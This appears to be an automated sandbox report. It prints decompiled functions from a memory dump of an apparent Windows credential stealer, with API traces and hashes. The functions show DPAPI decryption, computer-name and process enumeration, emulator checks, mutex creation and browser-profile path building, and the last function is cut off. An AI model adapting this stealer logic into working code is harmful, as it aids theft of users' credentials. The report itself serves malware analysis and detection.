Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$ChangeCloseCreateDataFindNotificationReadSizeUnprotect
String ID: $DPAPI
API String ID: 319386116-1819349886
Opcode ID: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction ID: eb4e9db67b04358953b965a2fa42df4c86bf95490415688a64744a127192de17
Opcode Fuzzy Hash: ab39210f1f30a146a8667208f0ce05bb118fbd5d0286aae0401707350fdae64b
Instruction Fuzzy Hash: C5314876D04109ABCF04DBD9DC45AFFB7B8AF48304F14852AE904B3241E738B944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00413640, Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413640(void* __ecx, signed int _a4, long _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t29;
				intOrPtr _t31;

				_t29 = E0040B590(__ecx, 0x4098); // executed
				_v16 = _t29;
				if(_v16 == 0) {
					_v32 = 0;
				} else {
					_v32 = E00411970(_v16, _a16);
				}
				_v8 = _v32;
				_t43 = _v8;
				_t31 = E00411B30(_v8, _a4, _a8, _a12); // executed
				 *0x41ac84 = _t31;
				if( *0x41ac84 == 0) {
					_v28 = E0040B590(_t43, 8);
					_v12 = _v28;
					 *_v12 = 2;
					 *((intOrPtr*)(_v12 + 4)) = _v8;
					return _v12;
				} else {
					_v24 = _v8;
					_v20 = _v24;
					if(_v20 == 0) {
						_v36 = 0;
					} else {
						_v36 = E00413700(_v20, 1);
					}
					return 0;
				}
			}

0x0041364b
0x00413653
0x0041365a
0x0041366d
0x0041365c
0x00413668
0x00413668
0x00413677
0x00413686
0x00413689
0x0041368e
0x0041369a
0x004136d2
0x004136d8
0x004136de
0x004136ea
0x00000000
0x0041369c
0x0041369f
0x004136a5
0x004136ac
0x004136bd
0x004136ae
0x004136b8
0x004136b8
0x00000000
0x004136c4

APIs

new[].LIBCMTD ref: 0041364B
codecvt.LIBCPMTD ref: 004136B3

Part of subcall function 00411970: new[].LIBCMTD ref: 00411A44

new[].LIBCMTD ref: 004136CA

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: new[]$codecvt
String ID:
API String ID: 1685477457-0
Opcode ID: 4fb5e7223df1ffc74f02cc7ff2e8a26a515b854c79af19af007d8554b4ca0742
Instruction ID: a1b1ca698d1ad89a320e59bbb21285d2f772f5ee2dd8fda06eeaf7bcf1bfc66a
Opcode Fuzzy Hash: 4fb5e7223df1ffc74f02cc7ff2e8a26a515b854c79af19af007d8554b4ca0742
Instruction Fuzzy Hash: FA213BB4D00209EFDB04DF95D945BEEBBB0BF48304F10856AE515A7391E7786A80CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0040B950, Relevance: 4.5, APIs: 3, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B950(long _a4) {
				void* _v8;
				char _v276;

				_v8 = OpenProcess(0x410, 0, _a4);
				if(_v8 != 0) {
					 *0x41aa48(_v8, 0,  &_v276, 0x104); // executed
					CloseHandle(_v8);
				}
				return  &_v276;
			}

0x0040b96a
0x0040b971
0x0040b985
0x0040b98f
0x0040b98f
0x0040b99e

APIs

OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040B985
CloseHandle.KERNEL32(00000000), ref: 0040B98F

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 70d20dfb18789ddfae29ed4ac099d839ae255d9daaf31459ac3c69d60da774d7
Instruction ID: 4035e9000058296a7c7a5903da9dc5bd4091d8f519d6fc060cff408344c9d26b
Opcode Fuzzy Hash: 70d20dfb18789ddfae29ed4ac099d839ae255d9daaf31459ac3c69d60da774d7
Instruction Fuzzy Hash: DAF030B494130CFBDB15DB94DD4AFEA7778EB08700F1044A4FB15A7290D6B05A94CB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC50, Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC50() {
				void* _v8;
				long _v12;
				int _t9;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v12 = 0x104;
				_t9 = GetComputerNameA(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x4191a0;
			}

0x0040ac6a
0x0040ac6d
0x0040ac7c
0x0040ac84
0x00000000
0x0040ac8f
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction ID: 037935987c21b56ac9d2f6c82646566d18e4d0dbb1ca3967d9f30a297ca29eed
Opcode Fuzzy Hash: 84f9db92fad3da76f05b9e0e3be3efdf369b695c41f802971e80cd0f33aa4693
Instruction Fuzzy Hash: CDE012B4A05208BBE700DFE49A49ADD7BBCAB04301F104565E945E2280E6759E94D756

Uniqueness

Uniqueness Score: -1.00%

Function 00401050, Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00401050(void* __ecx, intOrPtr _a4) {
				int _v8;
				int _t7;

				_v8 = 0;
				_t7 =  *0x41aa50(GetCurrentProcess(), 0, _a4, 0x3000, 0x40, 0, __ecx); // executed
				_v8 = _t7;
				if(_v8 == 0) {
					ExitProcess(0);
				}
				return _t7;
			}

0x00401054
0x00401071
0x00401077
0x0040107e
0x00401082
0x00401082
0x0040108b

APIs

GetCurrentProcess.KERNEL32(00000000,?,00003000,00000040,00000000,?,?,00406B7C,000003E8), ref: 0040106A
VirtualAllocExNuma.KERNEL32(00000000,?,?,00406B7C,000003E8), ref: 00401071
ExitProcess.KERNEL32 ref: 00401082

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction ID: cf04ec476d4c872812d4618a66134526bca4da81b147f74e7f68079ffca38a05
Opcode Fuzzy Hash: a7ae97adfdcf1c4e94bd862cfdc75439cc7b9fc2d70a57af4b78a5be23439a3a
Instruction Fuzzy Hash: C4E08670586308FFEB109F90DD09B997BA8EB04712F108054FA09A72C0C6B45A50CA5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A3F0, Relevance: 3.8, APIs: 3, Instructions: 91
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040A3F0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t40;
				void* _t50;
				intOrPtr _t55;
				void* _t71;
				void* _t73;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1c); // executed
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t55 =  *0x41a74c; // 0xa17820
				 *0x41aa24( &_v540, _t55);
				_t40 = E0040BB70( &_v540); // executed
				_t73 = _t71 + 0xc;
				if(_t40 != 0) {
					_t50 = E00407690( &_v540,  &_v12,  &_v8); // executed
					_t73 = _t73 + 0xc;
					if(_t50 == 0) {
						E00407590( &_v12,  &_v8);
						_t73 = _t73 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				E00409DC0( &_v276, _a8, _a12); // executed
				return E00407590( &_v12,  &_v8);
			}

0x0040a3f9
0x0040a400
0x0040a413
0x0040a421
0x0040a434
0x0040a446
0x0040a459
0x0040a45f
0x0040a46d
0x0040a47a
0x0040a47f
0x0040a484
0x0040a495
0x0040a49a
0x0040a49f
0x0040a4a9
0x0040a4ae
0x0040a4ae
0x0040a49f
0x0040a4d9
0x0040a4f0
0x0040a50b

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A434
lstrcat.KERNEL32(?,?), ref: 0040A459
lstrcat.KERNEL32(?,00A17820), ref: 0040A46D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,00A17F40), ref: 004076E3

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID:
API String ID: 4178457443-0
Opcode ID: c9e39828e5bccf5374d15983d90dc071d73c04babb1c7235bec8e405acb0f9f6
Instruction ID: ce2022d65494d5f93f85b5e78ccbe9f151ffe9191f3f48bd5557e70587304a2b
Opcode Fuzzy Hash: c9e39828e5bccf5374d15983d90dc071d73c04babb1c7235bec8e405acb0f9f6
Instruction Fuzzy Hash: 743164B6D1010CABCB14DFD4DC85EDE737CAB5C304F044599F605A7181E678A794CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A510, Relevance: 3.8, APIs: 3, Instructions: 83
stringCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040A510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a16, signed int _a20, signed int _a24) {
				char _v8;
				char _v12;
				char _v276;
				char _v540;
				void* _t37;
				void* _t45;
				intOrPtr _t50;
				void* _t64;
				void* _t66;

				_v12 = 0;
				_v8 = 0;
				E0040B720( &_v276, 0x104);
				E0040B800( &_v276,  &_v276, 0x1a); // executed
				 *0x41aa24( &_v276, _a4);
				E0040B720( &_v540, 0x104);
				 *0x41aa24( &_v540,  &_v276);
				_t50 =  *0x41a74c; // 0xa17820
				 *0x41aa24( &_v540, _t50);
				_t37 = E0040BB70( &_v540); // executed
				_t66 = _t64 + 0xc;
				if(_t37 != 0) {
					_t45 = E00407690( &_v540,  &_v12,  &_v8);
					_t66 = _t66 + 0xc;
					if(_t45 == 0) {
						E00407590( &_v12,  &_v8);
						_t66 = _t66 + 8;
					}
				}
				E004087E0(0x41401a,  &_v276, _a8, _v12, _v8, _a12, _a16, _a20, _a24); // executed
				return E00407590( &_v12,  &_v8);
			}

0x0040a519
0x0040a520
0x0040a533
0x0040a541
0x0040a554
0x0040a566
0x0040a579
0x0040a57f
0x0040a58d
0x0040a59a
0x0040a59f
0x0040a5a4
0x0040a5b5
0x0040a5ba
0x0040a5bf
0x0040a5c9
0x0040a5ce
0x0040a5ce
0x0040a5bf
0x0040a5f9
0x0040a614

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,?), ref: 0040A579
lstrcat.KERNEL32(?,00A17820), ref: 0040A58D

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00407690: StrStrA.SHLWAPI(00000000,00A17F40), ref: 004076E3

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$AttributesFileFolderPath
String ID:
API String ID: 4178457443-0
Opcode ID: c3d17c969c6f5d40b9bec19e94f8e6930b579448806197f220aba69273c194c4
Instruction ID: 5929abeeef62401985c717085424f3a4adc1c8890c023943e0da9d73f2acd4ec
Opcode Fuzzy Hash: c3d17c969c6f5d40b9bec19e94f8e6930b579448806197f220aba69273c194c4
Instruction Fuzzy Hash: 183121B6D0010CBBCB14DF90DC85EDE77BCAB5C304F0445AAF609A7181EA74A798CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040A620, Relevance: 3.8, APIs: 3, Instructions: 63
stringCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E0040A620(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, signed int _a20, signed int _a24) {
				char _v268;
				char _v532;
				void* _t26;
				intOrPtr _t35;
				intOrPtr _t38;
				void* _t44;
				void* _t46;

				E0040B720( &_v532, 0x104);
				E0040B720( &_v268, 0x104);
				E0040B800( &_v268,  &_v532, 0x1a); // executed
				 *0x41aa24( &_v532, _a4);
				 *0x41aa24( &_v268,  &_v532);
				_t35 =  *0x41a210; // 0xa179d0
				 *0x41aa24( &_v268, _t35);
				_t26 = E0040BB70( &_v268); // executed
				_t46 = _t44 + 0xc;
				if(_t26 != 0) {
					_t50 =  *0x41a83c;
					if( *0x41a83c == 0) {
						E00405420(_t35);
						 *0x41a83c = 1;
						_t38 =  *0x41a6a8; // 0xa17a00
						E00407900(_t38, _t50, _t38);
						_t46 = _t46 + 4;
					}
					return E004096E0(0x41401a,  &_v532, _a8, _a12, _a16, _a20, _a24);
				}
				return _t26;
			}

0x0040a635
0x0040a646
0x0040a654
0x0040a667
0x0040a67b
0x0040a681
0x0040a68f
0x0040a69c
0x0040a6a1
0x0040a6a6
0x0040a6a8
0x0040a6af
0x0040a6b1
0x0040a6b6
0x0040a6c0
0x0040a6c7
0x0040a6cc
0x0040a6cc
0x00000000
0x0040a6f4
0x0040a6fa

APIs

Part of subcall function 0040B800: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

lstrcat.KERNEL32(?,00000001), ref: 0040A667
lstrcat.KERNEL32(?,?), ref: 0040A67B
lstrcat.KERNEL32(?,00A179D0), ref: 0040A68F

Part of subcall function 0040BB70: GetFileAttributesA.KERNEL32(?,?,?,0040A47F,?), ref: 0040BB7A

Part of subcall function 00405420: lstrcat.KERNEL32(?,00A12168), ref: 0040549C
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A14D18), ref: 004054B0
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A16EF8), ref: 004054C4
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A12168), ref: 004054D7
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A14D18), ref: 004054EB
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A16FD0), ref: 004054FF
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A12168), ref: 00405512
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A14D18), ref: 00405526
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A16EC8), ref: 0040553A
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A12168), ref: 0040554D
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A14D18), ref: 00405561
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A16EE0), ref: 00405575
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A12168), ref: 00405588
Part of subcall function 00405420: lstrcat.KERNEL32(?,00A14D18), ref: 0040559C

Part of subcall function 00407900: GetEnvironmentVariableA.KERNEL32(00A17228,0041B488,0000FFFF), ref: 0040792E
Part of subcall function 00407900: lstrcat.KERNEL32(?,0041B488), ref: 0040795D
Part of subcall function 00407900: lstrcat.KERNEL32(?,004191E8), ref: 0040796F
Part of subcall function 00407900: lstrcat.KERNEL32(?,00000000), ref: 00407980
Part of subcall function 00407900: SetEnvironmentVariableA.KERNEL32(00A17228,?), ref: 00407994
Part of subcall function 00407900: LoadLibraryA.KERNEL32(00A14B58), ref: 004079B2
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00A17DF0), ref: 004079D7
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00A17E08), ref: 004079F0
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00A186D8), ref: 00407A08
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00A17D90), ref: 00407A20
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00A184B8), ref: 00407A39
Part of subcall function 00407900: GetProcAddress.KERNEL32(00000000,00A17DA8), ref: 00407A51

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$AddressProc$EnvironmentVariable$AttributesFileFolderLibraryLoadPath
String ID:
API String ID: 1979142406-0
Opcode ID: ec102a16ae7aa44b0eb1a498b8ace9779465f52e0f4dab4409791bc745fd9444
Instruction ID: f28decca28addda6498ee9190a0ca9526165cf385ec8dc0d29a16be75cd48475
Opcode Fuzzy Hash: ec102a16ae7aa44b0eb1a498b8ace9779465f52e0f4dab4409791bc745fd9444
Instruction Fuzzy Hash: 1C2178B650010C6BCB10EF91DC85EEA3378AB58304F04456EF55993191EBB9E5E4CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00401020, Relevance: 3.0, APIs: 2, Instructions: 15
sleepCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401020() {

				while(1 != 0) {
					if(E00401000() != 0) {
						ExitProcess(0);
					}
					Sleep(0x64); // executed
				}
				return 1;
			}

0x00401023
0x00401033
0x00401037
0x00401037
0x0040103f
0x0040103f
0x00401048

APIs

ExitProcess.KERNEL32 ref: 00401037
Sleep.KERNEL32(00000064), ref: 0040103F

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: ExitProcessSleep
String ID:
API String ID: 911557368-0
Opcode ID: dfd6e110a5c43ac637a943826819f6ddc534df8c9cbce07f94cf57adda6fc397
Instruction ID: 1b7db58ca50fc4e91bd76126263a2bbaa1e68ad880045a45de6996aea228be6b
Opcode Fuzzy Hash: dfd6e110a5c43ac637a943826819f6ddc534df8c9cbce07f94cf57adda6fc397
Instruction Fuzzy Hash: C7D0127128534547F61433E55D06B66739C5B54785F004032BB41E5AE2DE7DD8E0C67F

Uniqueness

Uniqueness Score: -1.00%

Function 00406B30, Relevance: 3.0, APIs: 2, Instructions: 15
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406B30() {
				CHAR* _t1;

				_t1 =  *0x41a124; // 0xa14c58
				CreateMutexA(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406b33
0x00406b3d
0x00406b4e
0x00000000
0x00406b54
0x00000000

APIs

CreateMutexA.KERNEL32(00000000,00000000,00A14C58,?,00406B9F), ref: 00406B3D
GetLastError.KERNEL32(?,00406B9F), ref: 00406B43

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: CreateErrorLastMutex
String ID:
API String ID: 1925916568-0
Opcode ID: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction ID: 327de0e026df715b7b38ea4147415e649a308c5b1f966a57182a2e21aaf30096
Opcode Fuzzy Hash: 8b87618f3880a66b23dbcc435febca6ef014f7b8e04fe950b3c97caf62bd947d
Instruction Fuzzy Hash: 93D012B0266205EBE7102794FC49BF637A99744701F214832F10EE61D2C669FCA0462F

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A0, Relevance: 3.0, APIs: 2, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B6A0(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap(GetProcessHeap(), 8, _a4); // executed
				return _t4;
			}

0x0040b6b0
0x0040b6b7

APIs

GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction ID: f01f5e1e7c2cbae4d5f0611841cbb3e049ae9411e28973528bbdb3b79d6c1229
Opcode Fuzzy Hash: 91792353ec189b537f40c44ebd9c2449dbd42fd7f98193ad091825612838553d
Instruction Fuzzy Hash: 62C09B75141308ABD6005BE8EE0DDD6375CFF4C641F008410B60DC6551CA75A450C766

Uniqueness

Uniqueness Score: -1.00%

Function 004126C0, Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004126C0(intOrPtr __ecx, intOrPtr _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t85;
				void* _t120;

				_v20 = __ecx;
				if( *((intOrPtr*)(_v20 + 0x48)) == 0) {
					_t85 = E0040B590(__ecx, 0x6afa8); // executed
					_t120 = _t120 + 4;
					_v16 = _t85;
					_t126 = _v16;
					if(_v16 == 0) {
						_v24 = 0;
					} else {
						_v24 = E00412820(_v16, _t126);
					}
					 *((intOrPtr*)(_v20 + 0x48)) = _v24;
				}
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0xc)) = E004124D0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x10)) = E00411D30;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)))) = _v20;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)) = 8;
				 *((char*)( *((intOrPtr*)(_v20 + 0x48)) + 8)) =  *((intOrPtr*)(_v20 + 0x6c));
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) = 0;
				 *((short*)( *((intOrPtr*)(_v20 + 0x48)) + 0xe7e)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6af70)) = 0;
				E0040EE40( *((intOrPtr*)(_v20 + 0x48)), _v20 + 0x94, 0x4000, 1);
				E0040D3E0( *((intOrPtr*)(_v20 + 0x48)), _a4 + 0x2a);
				E0040F400( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)),  *((intOrPtr*)(_v20 + 0x48)),  *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 4)), _a4 + 4);
				_v12 = E0040FED0( *((intOrPtr*)(_v20 + 0x48)));
				 *((intOrPtr*)(_v20 + 0x90)) = _v12;
				_v8 = 0;
				if( *((intOrPtr*)( *((intOrPtr*)(_v20 + 0x48)) + 0x6afa4)) != 0) {
					_v8 = 0x5000000;
				}
				return _v8;
			}

0x004126c6
0x004126d0
0x004126d7
0x004126dc
0x004126df
0x004126e2
0x004126e6
0x004126f5
0x004126e8
0x004126f0
0x004126f0
0x00412702
0x00412702
0x0041270b
0x0041271b
0x00412728
0x00412738
0x00412740
0x00412753
0x0041275c
0x0041276e
0x0041277b
0x0041279d
0x004127b3
0x004127d3
0x004127ea
0x004127f3
0x004127f9
0x0041280d
0x0041280f
0x0041280f
0x0041281c

APIs

new[].LIBCMTD ref: 004126D7

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: new[]
String ID:
API String ID: 4059295235-0
Opcode ID: f0c354d6a006c936206ac7ca2d248248363bc37bb4fef5c27d99df915ed07fc8
Instruction ID: cd1ca467f745775c49e65de816ee14feca223336516a1e1b065537540cc1f66d
Opcode Fuzzy Hash: f0c354d6a006c936206ac7ca2d248248363bc37bb4fef5c27d99df915ed07fc8
Instruction Fuzzy Hash: 464121B4A00209DFCB04DF98D894AAFB7B1FF48308F1445A8D9156B392D775AD81CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00A026A6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 00A026EE

Memory Dump Source

Source File: 00000017.00000002.432098998.0000000000A01000.00000040.00000001.sdmp, Offset: 00A01000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 3c7c2f02d0c57fcb1984b43d7731c39cbda5c2725a9d62ba2604108ff1b77966
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 0EF062311007196BEB203BF5AC8DB6E76ECFF99725F100529F646910C0DA71EC454B61

Uniqueness

Uniqueness Score: -1.00%

Function 0040B800, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040B800(void* __ecx, intOrPtr _a4, signed int _a8) {
				void* _t6;

				E0040B6E0(__ecx, _a4, 0, 4);
				_t6 =  *0x41aa00(0, _a8 | 0x00008000, 0, 0, _a4); // executed
				if(_t6 < 0) {
					return 0;
				}
				return 1;
			}

0x0040b80b
0x0040b824
0x0040b82c
0x00000000
0x0040b832
0x00000000

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,00000000,00000004,?,0040A426,?,0000001C,?,00000104), ref: 0040B824

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 7dabddc535b1521361b8b435bbf1ddc45b089c7bee7ac325d32e59211b7abb51
Instruction ID: 0ab7b82535674e4fbb5b1dba706ca65c6e75be8480545590d4a1993878fbba4f
Opcode Fuzzy Hash: 7dabddc535b1521361b8b435bbf1ddc45b089c7bee7ac325d32e59211b7abb51
Instruction Fuzzy Hash: 53E0EC7138430876FA009E91CC07F96375CEB81B94F10D025F6095F2D0C6B5E4018BED

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF50, Relevance: 1.5, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040BF50(void* __ecx, void* __eflags, intOrPtr _a4) {
				char _v1004;
				void* _t7;

				E0040B720( &_v1004, 0x3e8);
				_t7 =  *0x41aa00(0, _a4, 0, 0,  &_v1004); // executed
				if(_t7 < 0) {
					return 0;
				}
				return  &_v1004;
			}

0x0040bf65
0x0040bf7b
0x0040bf83
0x00000000
0x0040bf8f
0x00000000

APIs

SHGetFolderPathA.SHELL32(00000000,0040619E,00000000,00000000,?,?,000003E8), ref: 0040BF7B

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 1bd841de2358f0308ca034f2202068ea6a9c5557430d8bd3cb65c985106ef6dc
Instruction ID: 828d8efed70abcfa93dfe9fa816d608990fe47316e4c86ad602d76c3eaa1248a
Opcode Fuzzy Hash: 1bd841de2358f0308ca034f2202068ea6a9c5557430d8bd3cb65c985106ef6dc
Instruction Fuzzy Hash: DCE04F30A403486BE791DB61CC96FAA736CDB40B41F0042A5AA0CE70C0EB74AB844BA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB70, Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040BB70(CHAR* _a4) {
				signed int _v8;
				intOrPtr _v12;
				long _t9;

